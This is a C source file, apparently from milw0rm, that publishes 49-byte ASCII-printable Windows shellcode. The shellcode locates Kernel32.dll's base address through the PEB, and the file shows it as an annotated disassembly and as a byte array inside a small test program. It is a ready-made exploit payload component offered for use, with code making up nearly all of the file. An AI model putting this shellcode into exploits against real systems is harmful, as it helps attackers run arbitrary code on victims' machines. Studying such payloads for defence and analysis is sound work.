73 lines
No EOL
2.1 KiB
C
73 lines
No EOL
2.1 KiB
C
/*
|
|
|
|
PEB Kernel32.dll ImageBase Finder ( Ascii Printable )
|
|
|
|
Author: Koshi
|
|
|
|
Description: Uses PEB method to locate the ImageBase of Kernel32.dll
|
|
ONLY supports NT/2K/XP.. sorry no 9X. ImageBase will be
|
|
returned in EAX. No null bytes, obviously, so no need to
|
|
encode really.
|
|
|
|
Length: 49 Bytes
|
|
Registers Used: eax,esi
|
|
Compiled: j0X40PPPd3@0^V4L4@^V30VX^4P4L30XPVX^30VX^4X4P30VX
|
|
|
|
*/
|
|
|
|
/*
|
|
|
|
00401000 > $ 6A 30 PUSH 30
|
|
00401002 . 58 POP EAX
|
|
00401003 . 34 30 XOR AL,30
|
|
00401005 . 50 PUSH EAX
|
|
00401006 . 50 PUSH EAX
|
|
00401007 . 50 PUSH EAX
|
|
00401008 . 64:3340 30 XOR EAX,DWORD PTR FS:[EAX+30]
|
|
0040100C . 5E POP ESI
|
|
0040100D . 56 PUSH ESI
|
|
0040100E . 34 4C XOR AL,4C
|
|
00401010 . 34 40 XOR AL,40
|
|
00401012 . 5E POP ESI
|
|
00401013 . 56 PUSH ESI
|
|
00401014 . 3330 XOR ESI,DWORD PTR DS:[EAX]
|
|
00401016 . 56 PUSH ESI
|
|
00401017 . 58 POP EAX
|
|
00401018 . 5E POP ESI
|
|
00401019 . 34 50 XOR AL,50
|
|
0040101B . 34 4C XOR AL,4C
|
|
0040101D . 3330 XOR ESI,DWORD PTR DS:[EAX]
|
|
0040101F . 58 POP EAX
|
|
00401020 . 50 PUSH EAX
|
|
00401021 . 56 PUSH ESI
|
|
00401022 . 58 POP EAX
|
|
00401023 . 5E POP ESI
|
|
00401024 . 3330 XOR ESI,DWORD PTR DS:[EAX]
|
|
00401026 . 56 PUSH ESI
|
|
00401027 . 58 POP EAX
|
|
00401028 . 5E POP ESI
|
|
00401029 . 34 58 XOR AL,58
|
|
0040102B . 34 50 XOR AL,50
|
|
0040102D . 3330 XOR ESI,DWORD PTR DS:[EAX]
|
|
0040102F . 56 PUSH ESI
|
|
00401030 . 58 POP EAX
|
|
|
|
*/
|
|
|
|
unsigned char Shellcode[] =
|
|
{"\x6A\x30\x58\x34\x30\x50\x50\x50"
|
|
"\x64\x33\x40\x30\x5E\x56\x34\x4C"
|
|
"\x34\x40\x5E\x56\x33\x30\x56\x58"
|
|
"\x5E\x34\x50\x34\x4C\x33\x30\x58"
|
|
"\x50\x56\x58\x5E\x33\x30\x56\x58"
|
|
"\x5E\x34\x58\x34\x50\x33\x30\x56"
|
|
"\x58"};
|
|
|
|
int main( int argc, char *argv[] )
|
|
{
|
|
printf( "Shellcode is %u bytes.\n", sizeof(Shellcode)-1 );
|
|
printf( Shellcode, sizeof(Shellcode) );
|
|
return 0;
|
|
}
|
|
|
|
// milw0rm.com [2008-09-03]
|